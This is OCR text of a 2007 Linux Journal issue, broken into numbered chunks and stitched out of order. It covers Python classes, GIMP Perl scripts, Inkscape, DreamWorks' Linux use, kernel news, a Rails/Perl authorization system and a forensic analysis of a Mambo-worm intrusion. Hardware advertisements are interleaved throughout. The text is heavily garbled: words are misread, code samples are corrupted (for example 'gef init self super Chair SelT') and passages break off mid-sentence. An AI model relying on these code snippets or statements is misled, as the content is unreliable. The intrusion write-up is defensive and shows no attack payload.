159. nue The library references let us know about all the classes methods and functions that Python already provides It is so important and use ful that always have it open when am programming on Python In the second chapter you can read about the built in functions and classes Getting familiar with them is always useful The rest of the documentation is very specific and each chapter deals with subjects ranging from runtime internals to string from the Python debugger to some generic operating systems services In that chapter a very important module is documented os can t remember making a single program that didn t use that module Finding what you want in so much documentation can be a diffi cult task A trick that find very useful is to use Google to search in a specific site That is achieved by adding site python org or site docs python org to the search query The first one is more generic and sometimes leads to countless mailing list posts that have nothing to do with what you are looking for In that situation use the second one To give it a try search for print site python org or options site python org What if all of your searches return nothing Then you need to do a broader search to find some third party libraries or frameworks If you want to make a graphical user interface recommend both PyGTK and PyQt both are very good and include support for their respective desktops GNOME and KDE l ve heard
160. o of opinion to fact verged on the absolute At some point came to realize that nothing could say no matter how insightful would help if it took the form of opinion rather than facts Three weeks later found myself in another hole right after the Virginia Tech shooting From the beginning of that event it was clear that mobile phones were the technology in the best position to help the killer s targets help themselves and each other As it happens knew about ways that mobile phones and ser vices could be made to provide additional help in an emergency like this one That s because advise a company that provides cell phones and services to universities These phones not only have features made to help in emergencies on campuses but they are open for users to develop their own applications and other improvements In e mail conversations right after the shooting news broke advised this compa ny to do the sensible thing and not pro mote its brand or its services but instead quietly to look for ways everybody could learn from the tragedy there didn t say any of that on my blog or anywhere else in public print But did say that stuff in a private e mail to somebody who put that e mail on his blog without asking me first called and asked him to take it down which he did but by then that cat was out of the bag RSS feeds had gone LN TO NOE 2 s ELO ol o O 7 Fa ners 200 auc
161. oftware But in fact our users each have many roles and one role may be performed by many people as well The existing scripts combined two distinct functions that 90 july 2007 www linuxjournal com NU Role Perl CGI Adapter Management Knowledge Application Base Figure 1 System Architecture admin users See ee admin roles j admin vole Td name admin user id name description Figure 2 Database Schema would be better kept separate authentication and authorization Authentication is the process of determining whether users are who they say they are Authorization is the process of deciding should user X be able to do thing Y Building the Solution The plan for the new system features three independent pieces a database containing the knowledge of users and their roles a Ruby on Rails application for administrators to manage the database and a set of adapter libraries for each application programming environment in use For our scenario wrote a Perl module to connect our legacy applications to the new framework Figure 1 The Back End It was fairly simple to create an appropriate knowledge base for this project We used MySQL but any relational database supported by both Ruby on Rails and Perl would be fine The database schema is the standard solution for handling a many to many relationship Figure 2 The admin users table is simply a list of user names Simple inclusion in the table doesn t
162. olutions to that Setting material in Chair init _ is not a solution If we do that the classes would be coupled meaning the implementation of one will depend on the implementation of the other If we change the name of material to materials suddenly Chair will stop working If you have hundreds of classes developed by hundreds of different people keep ing track of those changes is difficult Also Furniture will grow to have more members so we have to remember to set all those members to the same defaults in Chair init _ I m getting a headache just thinking about it One real solution is calling Furniture init and rewriting Chair init _ this way def _ init selt Furniture init__ self self backrest height 30 We had to pass self to __init_ _ because if we called it with the class instead of the object it wouldn t know in which object to do its operations personally don t like that solution because it implies writing the name of the class in two or more places If you ever change the name you ll have to remember to run a search and replace Another solution is more cryptic than it should be but it doesn t have the problem just mentioned gef init self super Chair SelT it 1 self backrest height 30 In this solution call super passing the current class and the current object and it allows me to make a call to the parent class using the current object Here we may have a problem if we
163. om ComputerWorld Outpost24 F Secure and Bugtrag see Resources The Mitre Common Vulnerabilities and Exposures Project provides a dictionary of known vulnerabilities It has a brief abstract of the characteristics of the vulnerability with references to security mailing lists and Web sites that confirm the problems Searching for mambo on www cvw mitre org yielded a couple dozen known vulnerabilities one of which CVS 2005 3738 relates to mosConfig absolute path one of the seriously mangled variables in the request URL After reading up on recent malware activity surrounding Mambo saw that the attack vector probably was closely related to the Net Worm Linux Mare d worm strain described in the news reports and vulnerability databases However some of the names of executables in the attack that hit targetbox were slightly different from the attack executables named in the vulnerability reports Safety Precautions and Forensic Evidence To run these security analysis tools in the safest way possible you need to disconnect the computer in question from all networks and boot from known good media before attempting to analyze the intru sion That way any remaining attack programs will not be able to attack other machines on your network and intruders will not inter rupt your investigation by interacting with the machine You won t be able to use the system while you analyze the intrusion and it may take time to put together a
164. ome of the most respected people in the tech blogging world People linked to by A listers like Doc Searls do not want to be part of a culture of such hypocrisy For more than a week following Barbara s original post her name was the top search term on Technorati To put this in context consider the fact that Technorati the blogosphere s main search engine began as a hack by David Sifry in the fall of 2002 to help the two of us write a feature on blogging that ran in the January 2003 issue of Linux Journal The whole thing lived on a Penguin Computing box in David s base ment serving the world through a DSL line Now David has lost count of Technorati s servers and the engine s traffic rank on Alexa now averages in the top 200 worldwide In the US today late April 2007 it s 59 out of billions According to Technorati s stats there are now more than 72 million blogs with 120 000 more coming on line every day No wonder the controversy became named after Barbara starting minutes after her post went up No wonder she s put up only one post since a best of collection of the informative and lighthearted graphics that were her specialty As of right now a couple months before you read this Barbara is done as a blogger hope she comes back and starts to contribute again but can under stand why she might not The old sphere ain t the same And the problem isn t just incivility and flamage As old hands know tha
165. omputing Technology 2x Intel ESB2 Gilgal 82563EB Dual port Gigabit Ethernet Controller Reducing Cost Engery and Space Requirements 2x Hot swap SATA Drive Bays Support up to 16 processor cores Quad Xeon 5300 Series 900 980W High efficiency Power Supply SDR 1105T 1U ENTRY LEVEL SERVER Excellent general purpose server for organizations with the need for a low entry level price E 1U Rackmount Chassis with 520W power supply Seagate SATAII 80GB 7200 RPM 8MB Cache SATA 3 0Gb s i Supermicro X7DVL L Server Board with Intel 5000V Blackford VS Hard Drive ry Chipset 4x 1 Hot swap SATA Drive Bays Intel Dual Core Xeon Processor 5050 3 0GHZ 667 MHz Two Intel 82563EB Dual port Gigabit Ethernet Controller STARTING 959 Da Total 512MB 2pcs x 256MB Kingston DDR2 533Mhz FB DIMM Intel ESB2 SATA 3 0Gbps Controller RAID O 1 5 10 support PRICE ECC SDR 29008T 2U APPLICATION SERVER Highest performing with Dual Core Quad Core Xeon CPU based Excellent with general purpose applications and provide the most power 2U Rackmount Chassis with 650W power supply Seagate SATAII 250GB 7200 RPM 8MB Cache SATA 3 0Gb s Supermicro X7DVL E Server Board with Intel amp 5000V Hard Drive Blackford VS Chipset 6x1 Hot swap SATA Drive Bays Intel Dual Core Xeon Processor 5050 3 0GHZ 667 MHz Intel ESB2 Gilgal 82563EB Dual port Gigabit Ethernet Controller STARTING l 1 TE Total 512MB 2pcs x 256MB King
166. on Wesley He also makes regular television appearances as Call for Help s Linux guy Marcel is also a pilot a past Top 40 disc jockey writes science fiction and fantasy and folds a mean Origami T Rex He can be reached via e mail at mggagneOsalmar com You can discover lots of other things including great Wine links from his Web site at www marcelgagne com Resources gtk recordMyDesktop recordmydesktop sourceforge net Istanbul live gnome org Istanbul reKordmydesktop www kde apps org content download php content 55760 amp id 1 Marcel s Web Site www marcelgagne com The WFTL LUG Marcel s Online Linux User Group www marcelgagne com wftllugform htmlusers browse thread thread c59a3b4e1fb9cae7 tvc 2 Are you shocked by the high cost of SCSI amp Fibre Channel storage ATA over Ethernet simple low cost expandable storage wWWW coraid com 1 Ethernet Storage without the TCP IP overhead d 41 HOR 2 Unlimited expandability at the Winner WO lowest possible price point Product Excellence Award wu PANUXWORLT 3 You want more storage you Best Storage just buy more disks it s that RAID enabled 3U appliance simple with 15 slots for hot swap SATA disks Check out our other Storage Appliances and Visit us at www coraid com NAS Gateway for more information 1 706 548 7200 The Linux Storage People www coraid com COLUMNS WORK THE SHELL
167. on a DVD lav2yuv n image video avi mpeg2enc f 8 o image video m2v mplex f 8 audio ac3 image video m2v o final video mpg Now simply copy the final video mpg into your DVD and you are done You can generate the black and white equivalents of a color image using this command xloadimage rose jpg dump jpeg grayscale rose bw jpg Conclusion To create an image gallery application you need to obtain the thumb nails border style of images audio file for the background music and 72 july 2007 www linuxjournal com m rh Mice pink ro Figure 2 Image with Text Nice white tose Figure 3 Image with Watermarking the text for annotating each image You also can give the user the opportunity to specify a particular annotation style Once you have these inputs you can use the command line ImageMagick tools to create a gallery and use a simple shell script to link them all together with HTML and produce a Web page Girish Venkatachalam is a cryptographer with nearly a decade of experience working on various modern UNIX systems He has developed IPSec from scratch on the Nucleus 0S for a router and worked with the guts of Apache OpenSSL and SSH He can he reached at girish1729 gmail com Resources ImageMagick www imagemagick org Usage Netpbm netpbm sourceforge net tgif bourbon usc edu tgif gallery2 gallery sourceforge net Open source is everywhere A IN O 4m 4 CONFERENCE 8 EXPO E
168. one or more vectorial paths starting for example from the colors or the levels of brightness of the original image Working with Text and Fonts The big button with the capital A lets you create text objects So far this is nothing special What is great though is the possibility to make text follow any line Figure 7 Select both the text and the line while pressing the Shift key then select Text Put on Path in the top menu As far as fonts are concerned Inkscape can use any font available Undo History Shift Ctrl c H Move scale Change opacity Change gradient stop color Move handle Move gradient handle Move gradient handle Add gradient stop set gradient on fill Move gradient handle set fill calor Add gradient stop Change gradient stop color k k a E o y y E 4 ud if d Move gradient handle Move gradient handle Pa Figure 6 Comprehensive undo lets you get back to the exact operation you have in mind hore marco business cmd owg Inkecspe Ela Edi rw Layar gyae pni Jas misgia Whitehead Halp jada EDD 7 548 Qaa DTT XE PTE 44 adig od FETT ximo rom 2 waso Huan 2 a 2539 AAA e BRET Plis Pri ASA PPR R PA PP SL ERA PARA ERA 4 lt a gt y AE E P tz A a Eg LE a LES i E i ap n let ilt Sl Ak E Ong imot Path 4 nodes in rool Click selection lo logga scale v gme ne Figure 7 Make the text contour conform
169. onger matter no one who cares about computers uses Microsoft s anyway Paul Graham www paulgraham com microsoft html Scarcity models are by definition not scale free a hit culture prevails Open source given the lower barriers to entry allows someone to build left handed credit derivatives juicer because he felt like it There s a long tail effect You are more likely to find esoteric tools in an open source world than in a closed source one Open source peo a ple don t go around asking Is there a market for this They solve Linux Servers problems and see if others have similar problems to solve Starting at 899 JP Rangaswami confusedofcalcutta com 2007 04 12 10 reasons for enterprises to use opensource can t help but wonder what would have happened if John D Rockefeller had patented a system for transferring gasoline from a fixed source to a mobile device using a hose that fit into an cylindrical pipe Bob Frankston www listbox com member archive 247 2007 04 sort time_rev page 1 entry 12 33 20070406155116 2E760D64 E478 11DB 8383 B97D599214BB GOOGLE S WORST NIGHTMARE Wikipedia s JIMMY WALES Has His Sights Set on the Search Business Cover headline of the April 2007 edition of Fast Company DONT BE SQUARE In the current issue of Fast Company right below my face it says GET CUBED Google s Worst Nightmare And think God should really get to work on that search engine Jimmy Wales i
170. onverts between them cleanly making it suitable for a broad range of professional graphics demands CMYK and RGB are only the beginning For print work Krita has its Boots Linux in 1 69 seconds TS 7300 High Security Linux FPGA Computer 219 189 200 MHz CPU A Fanless no heat sink 2 Watts a User programmable Altera 2C8 Cyclone Il FPGA a PC 104 expansion bus a 10 COM ports 55 DIO a 2 USB ports 2 SD Card sockets a 2 10 100 Ethernets a Matrix keypad amp LCD ports a VGA video 800x600 a 1 69 s Linux based bootloader a Runs Debian supports Real Time One piece metal enclosure setup provides 4 high current GPIO 4 ADC 2 DAC 1 CAN for 160 Design your solution with one of our engineers a Over 20 years in business a Never discontinued a product a Engineers on Tech Support a Open Source Vision a Custom configurations and designs w excellent pricing and turn around time A Most products stocked and available for next day shipping See our website for options peripherals and x86 SBCs Technologic SYSTEMS a We use our stuff www embeddedARM com 480 837 5200 QUICK TAKES Pooh gt Jan Ele Edt view image Layer Select Filter Tools Soipts Settings Help AA PEI Proein T b Urush LIO Cpa ity 107 El Mad E i AA eme I y 3 Pant direct T A HTS Al Gray Palette Kn a ele E Is de 5 m 22
171. orage out of an allocation of 30TB DreamWorks likes to keep all its movies in near line storage on big arrays of spinning disks People refer to previous movies all the time says Chan We have the three Shrek movies Madagascar is getting a sequel Although everything is pretty much kept on line DreamWorks archives to tape sent off site for disaster recovery Why Not More Open Source Software from the Film Industry Why don t the movie studios contribute some of their millions of lines of Linux code to open source Many studios have devel oped proprietary Linux video playback and editing software an area where open source is deficient Could they give that to open source Today s treacherous patent landscape is one obstacle but beyond that is the cost to maintain it For example ILM found it more work to open the OpenEXR image of our films in native stereoscopic 3 D says Leonard Our films will be created from the start with 3 D stereo in mind The result will be a whole new level of experience in theaters Monsters vs Aliens tentative title and How to Train Your Dragon will be the first 3 D films from the new 3 D pipeline Since Shrek 3 the studio has built a new system for creating all storyboards digitally from inception in 3 D DreamWorks Animation has more Linux geeks on tap than most Linux companies or open source projects do If you re interested in working on Linux in the motion picture industry Dream
172. ord button One thing like about this program is that you can pause a recording change things around then continue by clicking Pause again When you are done click Stop and the OGG file is written to disk Let s have another look at that three tabbed interface Under the Encoding Settings tab audio and video settings can be changed and tweaked to give you a recording that balances your system s performance to provide the best quality possible This might include dropping frames selecting multichannel audio or choosing a higher sam pling rate The Advanced Settings tab allows you to select an alternate cursor or none change the working directory and more If you think you ve gone and changed things for the worse there s a handy Restore Default Settings button here as well And that mes amis is what we call a wrap The system clock sadly does not lie and closing time is nearly upon us invite each and every one of you to try your own screencasts Post them to your blogs Web sites or even YouTube Show others how much fun Linux and open source software can be In the meantime perhaps Francois will be so kind as to refill your glasses once more Until next time please raise your glasses mes amis and let us all drink to one another s health A votre sant Bon app tit W Marcel Gagn is an award winning writer living in Waterloo Ontario He is the author of the all new Moving to Free Software his sixth book from Addis
173. ormats are CCD data dumps the three color sensors aren t interpolated blended or processed like you would normal ly expect This is left up to users to do with their computers when they offload the images which easily can run more than 10MB each Most of the time people shoot RAW and then process the images to ordi nary JPEGs under the mistaken presumption that they re getting more bang for their buck when in fact they re just creating more work for themselves JPEG compression is after all JPEG compression JPEG is a lossy 8 bit format period JPEGs can look stun ning and most of the time they are perfectly adequate even for some print jobs But they do not preserve the advantages to shooting RAW which are twofold 1 No lossy compression 2 Higher bit depths How much higher the bit depth varies by camera between 10 bit float and 16 bit linear These higher depths are desirable for shooting light maps or textures for use in 3 D programs The broader contrast range of these images means far subtler color repro duction smoother exposure curves more detail in the shadows and less blowout in the highlights than ever before But in order to use this extra detail you have to preserve it In order to preserve it you have to be work ing with high depth file formats So GIMP won t do Thankfully there are some excellent alternatives CinePaint CinePaint is the descendant of the Rhythm and Hues fork of The GIMP an
174. ors will tell you what s hot in the world of Linux Receive late breaking news technical tips and tricks and links to in depth stories featured on www linuxjournal com Subscribe for free today www linuxjournal com enewsletters Maximize Performance with UniServer a y 3 Jn ar pum Je WE is E e wee ee V a s uf es 205 dh mii 1 been En AA d Tn TuS L J E a aupnnnenen Y ui mri ji mm H m AN HE HH EB io E NH NH 3T msgmmHEEEEEK Find Full Lines of Innovative Opteron Server and Workstation Platforms From 1 s t up to 32GB to ets up to 1 1U Server 1 amp 2 sockets with up to 64GB memories 3U Server 2 amp 4 sockets with up to 128GB memories 2U Server 2 amp 4 sockets with up to 128GB memories Workstations 1 2 4 4 sockets with up to 128GB memories UNIWIDE is an official AMD Validated Server Program Partner Aa4UNIWIDE OOOO Ub n AVNET Paru MICRO SYNNEX 1 888 300 B277 1 800 281 2070 1 888 756 4888 c 2007 Uniwide Technologies Inc All rights ane reserved and specifications subject lo change without notice The DevFS entry in the MAINTAINERS file is no longer marked obsolete e diff u WHAT S NEW IN KERNEL It has now been DEVELOPMENT completely removed from that file and the last vestige of the old DevFS code is gone An interesting facet of this history is that udev which has replaced DevFS is now subject to its
175. outerboard com RouterBOARD 133 Low cost AP CPE 89 RouterOS L4 Firewall Routing MIPS32 4Kc 175MHz embedded 32MB SDRAM 64MB onboard NAND storage Three 10 100 ethernet ports MDI X Three miniPCI Type IIIA IIIB slots Power 9 28V DC Overvoltage protection PoE 12 28V DC no power over datalines 117mm x 105mm 4 61 in x 4 13 in 115g Er qu MUR um cs ur a L5 st coat Po DO ane E EA PLIN E NE po LI Boi pru T E TINT Ve er IEEE ANEA Didi t E 34 E ze mm m prem T jua d m e o dE LEE T s A Pu ile 7 i 1 A LJ Aut I vieni eed innen LU a Los im ul Er m Ls n a PUT ad LLLI OM 0 c 0 JD ME Ua m m LI F 1 F I i A Ld ia p Ld a hi IL ENS re 1 oou aa um um um ux aa iji MUN e L 10041550 il atk dm dA e dA di di da ER o ie WTR AAA AAA ERAR ARAN UR E Bie A E e FE LI M T y T a Ti pupa ning JT Lo Kony O oesi eet Quvogiey n xc was pivoqie nod mde uc A 0 vagasin JUS RouterBOARD 133C Low cost CPE 59 RouterOS L3 Firewall Routing MIPS32 4Kc 175MHz embedded 16MB SDRAM 64MB onboard NAND storage One 10 100 ethernet ports MDI X One miniPCI Type IIIA IIIB slots Power 9 28V DC Overvoltage protection PoE 12 28V DC no power over datalines 117mm x 105mm 4 61 in x 4 13 in 799 pa LAT uen ys LET ua LT APA Emu ti Umm iiij T TT pad titres dde nw H Le mal
176. outfilename register PF STRING inputimage Name of image to load PRESTRENG ouLpULIMage Name of image to save to PF STRING newlayerimage Name of image to append to inputimage amp monkeyiq_ gimp append layer from image file if ARGV lt 0 print Usage 0 inputimage imagepath print outp utimage TULL dst path print newlayerimage imagepath2 n n exit Handle over control to gimp exit main Directories of Products on Backgrounds Now suppose we have a directory full of xcf files of product images and we want to composite all those images onto a background image and save them to JPEG files with the same base name This can be driven from a Makefile as shown in Listing 10 The Makefile defines a JPEG target for every xcf file in the current directory Each of these JPEG targets are processed the same way and the JPEG file is depen dent on its xcf file If you change one of The GIMP product images xcf files the Makefile will reprocess only that xcf file A thumbnail image also is created for each product The catch here is that the thumbnail is expected to be displayed at a different offset on the background image This means the thumbnail has to have all the image data shifted relative to the background prior to scaling and saving If many products are to be shown on a single ASA COMPUTERS community Since 1989 Linux FreeBSD NetBSD OpenBSD
177. own brand of controversy albeit completely different from what surrounded DevFS Some vendors are finding that they can t make good use of udev without using MODULE LICENSE to release their code under the GPL With such fundamental parts of the kernel insisting on the GPL for third party modules it soon may be difficult for any binary only kernel drivers to exist at all JFFS is gone The code has been removed from the kernel and the main tainer entry has been removed from the MAINTAINERS file This is all well and good because JFFS2 has superseded JFFS for a long time and any lingering JFFS users out there really should switch over to JFFS2 The parallel port code once such a key part of many users systems is now unmaintained David Brownell had been unsuccessful at contacting any of the four folks listed in the MAINTAINERS file under that entry and finally he posted a patch marking the code unmaintained Jean Delvare and Randy Dunlap both support the change and Andrew Morton seems likely to accept it If you re interested in seeing the parallel port code stay in the kernel now s your chance to speak up and take it over As Vassili Karpov has discovered to his dismay CPU stats are not accurate ly reported in proc stat on the PC architecture On that architecture CPU usage is examined only during the timer interrupt so regular programs can seem to use much more or much less of the CPU just because they happen to
178. p ldapauth name pass Success Create a session and redirect to the target page amp create session name print lt html gt lt head gt print meta http equiv refresh content 0 url target url gt print lt head gt lt html gt else Failure Re display the login form with an error message print q gt header amp redisplay_page Login failed password incorrect target_page target_url Growing a World of Linux Professionals LPI Deutsch 7 3 xd LPI France j e LPI Spain PA ior LPI North America y o LPI Malta Cyprus LPI Latin America We at the Linux Professional Institute believe the best way to spread the adoption of Linux and Open Source software is to grow a world wide supply of talented qualified and accredited IT professionals We realize the importance of providing a global standard of measurement To assist in this effort we are launching a Regional Enablement Initiative to ensure we understand nurture and support the needs of the enterprise govern ments educational institutions and individual contributors around the globe LPI Bulgaria LPI Portugal E e LPI South Africa M Ww l LPI Korea We can only achieve this through a network of local on the ground partner organizations Partners who know the sector and understand the needs of the IT work force Through this active policy of Regional Enablem
179. pd sys script rw t tclass file used locate to try to identify cback quickly locate cback tmp cback usr share pixmaps gnome ccbackground png usr lib libartscbackend 1a usr lib libartscbackend so 0 0 0 usr lib libartscbackend so 0 The file command revealed the executable file type of cback file tmp cback tmp cback ELF 32 bit LSB executable Intel 80386 version 1 SYSV for GNU Linux 2 2 0 dynamically linked uses shared Libs not stripped The user apache owned that file but it had a date a few months before the initial operating system installation on targetbox ls i tmp cback 852100 tmp cback root targetbox ls 1Z tmp cback FrWwxr r apache apache user g object r httpd sys script rw t tmp cback root targetbox ls lai tmp cback 852100 rwxr r Feb 15 2005 tmp cback 1 apache apache 13901 This confirmed the identity of cback as the file in the audit message because it had the inode number 852100 If locate had not found the file could have used find to try to identify the file by inode find inum 852100 2 gt dev null tmp cback Analyzing the Executable for Clues Given the name of the script maybe it was intended as a callback program Because the apache user owned the file checked the Web server log files for evidence Because the attack program was in tmp saved a copy of it for posterity cp a cback root The attack program seemed to do somet
180. pecific technical advance ments on the movie including advancements in hair clothing costuming and crowds as well as bringing the secondary character animation crowds to a whole new level of performance says Leonard About 350 people are working on Shrek 3 with about 300 at PDI and 50 in Glendale www linuxpournal com july 2007 39 FEATURE Shrek the Third Long Flowing Hair and Running in Long Dresses In Shrek 3 Fiona transforms a bevy of classic rescue me fairy tale princesses into action figures to defend the kingdom of Far Far Away from usurper Prince Charming How to convert Sleeping Beauty s narcolepsy into a weapon or get neat freak Snow White to dirty her nails fighting bad guys seem like minor challenges compared to the technical obstacles involved DreamWorks Animation R amp D provides the tools libraries and software infrastruc ture for the creation of world class CG films says Leonard We develop and support a suite of application tools for our films including a proprietary animation system lighting rendering and composit ing tools and effects tools for things like fire water clothing and crowds to name just a few Leonard estimates they have several millions lines of custom code mostly written in C legacy code and C newer code Andrew Pearce leads the DreamWorks Animation R amp D group based at PDI Long hair may be the biggest technology advance in Shrek 3 says P
181. pts work as expected Other than that think Linux Journal is a great magazine My OS Debian Sid i Browser dpkg s iceweasel Michael Rasmussen Package iceweasel Status install ok installed All of the examples I tried myself worked But l Il take your word Priority optional for it that they present problems in other environments Thanks for Section web the tips and suggestion Ed 8 july 2007 www linuxjournal com OABERDEEN SIN CE 1 9 9 1 ABERDEEN STONEHAVEN X633 ABERDEEN STONEHAVEN X318 ABERDEEN STONEHAVEN X526 3U 12TB Dual Core Ready Storage Server 5U 18TB Dual Core Ready Storage Server 6U 24TB Dual Core Ready Storage Server e Up to two Dual Core AMD Opteron 2000 Series processors Up to two Dual Core AMD Opteron 2000 Series processors Up to two Dual Core AMD Opteron 2000 Series processors Up to 16 x 750GB 12TB Hot Swap SATA Hard Drives e Up to 24 x 750GB 18TB Hot Swap SATA Hard Drives e Up to 32 x 750GB 24TB Hot Swap SATA Hard Drives e Internal SATA 2 5 Hard Drive Bay for OS Drive e Two Internal SATA Hard Drive Bays for Mirrored OS Drives e Two Rear Hot Swap SATA Hard Drive Bays for Mirrored OS Drives e 800 MB sec sustained data throughput RAID Controller e 800 MB sec Sustained Data Throughput RAID Controller e 800 MB sec sustained data throughput RAID Controller e Up to 32GB 667 533MHz ECC Registered DDR2 SDRAM e Up to 32GB 667 533MHz ECC Registered DDR2 SDRAM
182. py 1158 25 in 15 public return self published AttributeError Post object has no attribute published That s because published was not created it can t be used and is public wants to use it Understanding errors in your tools is important if you want to be a successful programmer In this short set of messages the last line is the error itself There are various types of errors and this one is an AttributeError A lot of important information is given in the traceback A traceback is a list of who called whom providing an idea of what was being executed when the error occurred The first line of the traceback doesn t give much information It probably relates to the line we typed at the REPL The second line tells that the error was in the file blog py on line 25 on the method is public Now we have the line that raised the problem This traceback is simple In a real application you would have methods that call methods that call methods and so on In those cases it is not uncommon to see tracebacks of 25 lines or more I ve seen tracebacks of more than 150 lines but those were extreme cases in extreme conditions The next step is a modification to the Blog class to pick up only published posts So we add a new method def get public posts self published posts for post in self posts if port 15 public published posts append post Python tries to be as readable as possible but that method intro
183. re fully opaque The imageOutput function is a little utility function in the MonkeyIQGIMP module that handles saving to native GIMP xcf files but it also does something sane if a non xcf file is desired Parts of MonkeylQGimp are shown in Listing 3 The imageOutput function simply dispatches to one of the gimp save functions with the only difference being that for non native formats first Listing 10 Makefile to Convert xcf Files to Composited JPEG Images tmp img tmp tmp img xcf tmp2 img tmp tmp img xcf background imgemybackground png simplelayered extension xcf simplelayered_targets 1 patsubst xcf jpg wildcard xcf all simplelayered targets simplelayered targets jpg xcf if_xcf lt if basename lt xcf png of of thumbnail basename 0 jpg thumb jpg V gimp monkeyiq append layer from image file inputimage pwd if xcf outputimage tmp img layerimage pwd background img layername background layer A gimp monkeyiq save as jpg inputimage tmp img outputimage 0f gimp monkeyiq scale inputimage pwd if xcf outputimage tmp img Saco Oeil 5 gimp monkeyiq append layer from image file inputimage tmp_img outputimage tmp2 img V layerimage pwd background img layername background layer A gimp monkeyig layers showall Y inputimage tmp2 img outputimage tmp img gimp monkeyiq laye
184. reen as a background the edges are extremely jagged and the soft shadow effect is lost imageOutput img outfilename The code shown in Listing 2 takes any image file supported by The GIMP an output file path and an expected background color and creates an output image that is suitable for using with a 1 bit alpha mask Both the input and output images can be anything The GIMP PF STRING inputimage can read or write For this script it is most likely reading an xcf file and Name of image to export writing a PNG file The PNG image is processed later with an export to PF STRING outputimage the webgif script to obtain the final image Name of image to save to PF INT depth dep A 559 PF INT td e Listing 4 Merge the button with the nasty green background color IP gimp monkeyiq alias inputimage Button with Sbit alpha xci Let s walk through the code in Listing 2 First The GIMP API is outputimage Button nicely merged with green png imported and then the main function of the script is declared with its aliascolor 400ff00 arguments clearly stated as variables Skipping the function itself for now there is a register call at the bottom of the script giving some metadata for The GIMP as to where this script should appear in menus and the number and types of arguments it expects along with a refer ence to the above function that actually does the work There is a tiny bit of argument checking before
185. rl to Python at the facility says Grant There are three primary reasons for this The creation of Python bindings to a C library is very easy and allows us to utilize core R amp D libraries in the rest of the pipeline more quickly The object oriented nature of Python is very attractive given our new asset model and should allow us to make changes to that asset model much more easily in the future And Python is a first class citizen in many of the third party software applications that are used in our industry At the Linux Movies Conference an all day conference for motion picture technol ogists last held in 2005 that I chaired the consensus of studio technologists was that the constraint on renderfarm size was heat The wall is still heat and power says Chan and a little bit of floor space DreamWorks Animation is into dual core and about to go quad core In the next eight months we ll switch to eight com puting cores per desktop says Chan The studio is interested in accelerated comput ing with GP GPU That has the potential to move render processes from overnight to interactive But there are daunting techni cal barriers in that GPU programming is so alien and there are bandwidth limitations going between CPUs and GPUs on graph ics cards There are significant perfor mance gains to be had says Chan especially if we could keep it all on die with an AMD integrated GPU Shrek 3 consumes 24TB of st
186. roduction performance of the Rails application Meanwhile RM Install is a tested multiplat form enterprise ready Rails stack that ensures that all of the parts for example Ruby Rails MySQL Apache and LightTPD will work together during Rails development FiveRuns points out that its Rails expertise comes from using it to build its original flagship application RM Install is a free download RM Manage is available on a subscription basis www fiveruns com OrangeHRM On Demand The range of corporate apps available to Linux users continues to mature with the recently released OrangeHRM On Demand 2 1 a hosted version of OpenHRM s open source human resources management solution for small and mid size enterprises OrangeHRM claims to be reaching parity with proprietary HRM solutions while offering key pricing and development cycle advantages due to open source As a SaaS solution On Demand requires no in house hardware or software and is subscription priced based on duration and number of users OrangeHRM s technology features a rich Ajax based interface a lightweight LAMP architecture and open data standards based on HR XML Feature improvements in version 2 1 include easier employee leave administration improved employee search user defined employee IDs and enhanced reporting The application is available as a free download from OrangeHRM s Web site and uses the GNU GPL open source license c 5 www orangehrm com O n e D e
187. rom the Python prompt do the following gt gt gt import ImageFilter gt gt gt out im filter ImageFilter DETAIL Once you have imported the module you can use any of these filters mM ImageFilter BLUR E ImageFilter CONTOUR W ImagerFilter DETAIL E imageFilterEDGE ENHANCE E ImageFilterEDGE ENHANCE MORE E ImageFilter EMBOSS E ImagerFilter FIND_EDGES E ImagerFilter SMOOTH E imageFilter MOOTH MORE E ImageFilter SHARPEN Controlling the Decoder Some decoders allow you to manipulate an image while reading it from a file This often can be used to speed up decoding when creat ing thumbnails and printing to a monochrome laser printer The draft method manipulates an opened but not yet loaded image so it matches 82 july 2007 www linuxjournal com Listing 3 Reading in Draft Mode im Image open file print original im orare OD 995 orint orare 1M Mote 1m SIZE im mode im size This prints something Like original RGB 512 512 draft E 128 128 Listing 4 Draw a Gray Cross over an Image import Image ImageDraw im Image open lenna pgm draw ImageDraw Draw im draw line 0 0 im size fill 128 draw line 0 im size 1 im size 0 0 fill 128 del draw im save sys stdout PNG the given mode and size as closely as possible Reconfiguring the image decoder does this See Listing 3 for an example of how to read an image in draft mode Listing 4 shows how the ImageDraw
188. rs hidebyre A inputimage tmp img outputimage tmp2 img layersre background layer gimp monkeyiq move visible layers inputimage tmp2 img outputimage tmp img xoffset 200 yoffset 100 gimp monkeyiq save as jpg inputimage tmp img outputimage 0f getMergedLayer is called to get a single layer to export In getMergedLayer if there is only a single layer we are done oth erwise we merge the visible ones and return that If there is more than one layer but none of them are visible the code creates a single layer to return to avoid runtime errors from calling code If nothing is visible it s the same as saving a fully transparent layer To generate the properly aliased button run the command shown Listing 11 Save any image The GIMP can load as a JPEG image with given compression parameters sub monkeyiq gimp convert my inputimagename outfilename qual smoothing comment Q img gimp file load inputimagename inputimagename layer getMergedLayer img file jpeg save img layer outfilename outfilename qual smoothing 1 1 comment 0 1 0 1 return img register ok n PF STRING inputimage Name of image to export PF_STRING outputimage Name of image to save to LPE PLOT quality 0 100 quality of JPG PF_FLOAT gal smoothihg 5 PROSTRING comment Comment
189. rver Since 1985 E A YA SA VER EA n 7 gt J j fon um E cpa wW g I T iL Compact SIB Server In a Box Starting at 170 00 Quantity 1 YEARS OF E E SINGLE PROART SEA Usus A L SOLUTIONS IC ISA USA AL ilh Phone 618 529 4525 e Fax 618 457 0110 www emacinc com www linuxjournal com july 2007 47 A q 4 Hp Gay ff Z A Pega Cum yt Inkscape s vector graphics open a whole Marco Fioret SVG Scalable Vector Graphics is an open W3C standard for describing two dimensional graphics in a different way than traditional computer images which are all bitmaps of some kind A bitmap or raster graphic Is ignoring compression and other optimization techniques simply one long list of all the pixels constituting an image each one described in as much detail as possible exact color transparency and so on Instead a vector graphics file contains a series of pseudo mathemat ical instructions such as draw a straight line from this to that coordi nate create a rectangle of this size rotate it 47 degrees clockwise or fill it with red The grandfather of vectorial formats is PostScript The first and main benefit of this alternative method is being com pletely separate from the capabilities of the physical display be it a computer monitor or a piece of paper More exactly although it is still obviously impossible to see an ultra crisp image on a low resolution
